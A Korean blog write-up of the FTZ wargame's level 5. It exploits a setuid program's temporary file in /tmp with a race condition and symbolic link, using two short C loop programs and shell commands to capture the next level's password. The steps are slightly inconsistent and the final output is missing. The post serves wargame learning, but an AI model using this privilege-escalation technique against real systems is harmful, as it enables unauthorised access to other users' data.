FTZ level5
hint :
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라
level5는 setuid가 걸려있다.
level5를 실행해보면 아무런 아웃풋 없이 프로그램이 종료된다.
힌트에서 /tmp 디렉토리에 임시파일을 생성한다고 했으나 실제로 /tmp 디렉토리에는
level5.tmp 파일이 존재하지 않았다.
여기서 생각해볼 수 있는 경우의 수는
아예 처음부터 level5 프로그램이 임시파일을 생성하지 않거나
프로그램이 종료되면 임시파일도 같이 삭제되는 경우를 생각해 볼 수 있다.
첫번째는.. 엿먹으라고 힌트를 저렇게 줄리 없으니
두번째경우로 가정을 한다면 레이스컨디션이라는 해킹기법과 심볼릭 링크를 이용해 패스워드를 알아내야 한다.
심볼릭링크와 레이스컨디션에 대한 자세한 설명은 http://geundi.tistory.com/48 이곳에 나와있다.
level5 프로그램을 여러번 실행하는 간단한 프로그램을 짠다
1 2 3 4 5 6 7 | #include <stdio.h> int main(){ int i; for(i=0;i<=1000;i++) system("/usr/bin/level5"); } | cs |
level5가 여러번 실행되면서 /tmp 디렉토리에는 level5.tmp가 생성되었다 삭제되는게 반복될 것이다
이번엔 임의의 파일 slink를 /tmp 디렉토리에 생성하고 level5.tmp를 slink의 심볼릭링크 파일로 생성하는 프로그램을 짠다
[level5@ftz tmp]$ touch slink
[level5@ftz tmp]$ vi link.c
1 2 3 4 5 6 7 | #include <stdio.h> int main(){ int i; for(i=0;i<=1000;i++) system("ln -s /tmp/slink /tmp/level5.tmp"); } | cs |
[level5@ftz tmp]$ gcc -o level level.c
[level5@ftz tmp]$ gcc -o link link.c
이 두 프로그램을 동시에 실행시키면 level5를 실행하면 level5.tmp에 내용이 써지게 되고
심볼릭링크인 level5.tmp의 원본파일인 slink에도 그대로 쓰여질 것이다.
[level5@ftz tmp]$ ./level5&
[1] 8267
[level5@ftz tmp]$ ./link
ln : '/tmp/level5.tmp' : File exists
ln : '/tmp/level5.tmp' : File exists
ln : '/tmp/level5.tmp' : File exists
.
.
.
[1]+ Exit 84 ./level5
[level5@ftz tmp]$cat slink
'System > FTZ' 카테고리의 다른 글
FTZ level7 (0) | 2015.03.17 |
---|---|
FTZ level6 (0) | 2015.03.17 |
FTZ level4 (0) | 2015.03.17 |
FTZ level3 (0) | 2015.03.17 |
FTZ level2 (0) | 2015.03.17 |